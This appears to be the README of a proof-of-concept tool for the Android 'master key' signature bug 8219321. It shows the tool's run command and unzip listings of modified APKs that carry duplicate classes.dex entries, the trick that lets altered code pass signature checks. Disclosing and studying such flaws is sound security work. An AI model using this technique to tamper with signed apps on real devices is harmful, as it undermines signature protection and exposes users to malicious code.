This is a POC example for Android bug 8219321 (master keys):
- Well Written Explaination by Al Sutton
- CyanogenMod Bug Report
- CyanogenMod Patch
- Blue Boxes' teaser of Blackhat talk
- POF's original POC
Run it as:
java -jar bin/AndroidMasterKeys.jar -a Orig.apk -z modifiedAPK.apk
Please note that -most- ZIP libraries do not handle doing this properly. UNIX zip's append will not allow file name collisions. It may be able to be done in Python, but it's default ZipFile append method only will add files in non-compressed.
The output from this POC gives:
➜ AndroidMasterKeys git:(master) unzip -vl pythonModdedApp.apk
Archive: pythonModdedApp.apk
Length Method Size Ratio Date Time CRC-32 Name
-------- ------ ------- ----- ---- ---- ------ ----
506712 Defl:N 196197 61% 07-08-13 21:53 81ab41c8 classes.dex
1664 Stored 1664 0% 07-08-13 21:51 db586380 AndroidManifest.xml
506720 Stored 506720 0% 07-08-13 21:51 1fee85e8 classes.dex
194 Stored 194 0% 07-08-13 21:51 463e5f86 library.properties
776 Stored 776 0% 07-08-13 21:51 be507dd3 META-INF/CERT.RSA
515 Stored 515 0% 07-08-13 21:51 1e40193c META-INF/CERT.SF
462 Stored 462 0% 07-08-13 21:51 de81958e META-INF/MANIFEST.MF
692 Stored 692 0% 07-08-13 21:51 d2d5c7bb res/layout/main.xml
856 Stored 856 0% 07-08-13 21:50 eac524bd resources.arsc
1761 Stored 1761 0% 07-08-13 21:51 e23c7570 rootdoc.txt
-------- ------- --- -------
1020352 709837 30% 10 files
This tool takes proper care to not duplicate any files, while at the same time making sure that all 'appended' files are also compressed.
unzip -vl AndroidMasterKeysModded.apk
Archive: AndroidMasterKeysModded.apk
Length Method Size Ratio Date Time CRC-32 Name
-------- ------ ------- ----- ---- ---- ------ ----
506712 Defl:N 195600 61% 07-08-13 21:53 81ab41c8 classes.dex
692 Defl:N 311 55% 07-08-13 21:51 d2d5c7bb res/layout/main.xml
1664 Defl:N 621 63% 07-08-13 21:51 db586380 AndroidManifest.xml
856 Stored 856 0% 07-08-13 21:50 eac524bd resources.arsc
506720 Defl:N 190564 62% 07-08-13 21:51 1fee85e8 classes.dex
194 Defl:N 144 26% 07-08-13 21:51 463e5f86 library.properties
1761 Defl:N 741 58% 07-08-13 21:51 e23c7570 rootdoc.txt
462 Defl:N 298 36% 07-08-13 21:51 de81958e META-INF/MANIFEST.MF
515 Defl:N 330 36% 07-08-13 21:51 1e40193c META-INF/CERT.SF
776 Defl:N 604 22% 07-08-13 21:51 be507dd3 META-INF/CERT.RSA
-------- ------- --- -------
1020352 390069 62% 10 files
To hack on the project download SBT run the following to build a jar:
sbt assembly
You can also add the gen-idea plugin and generate IntelliJ project files as well.
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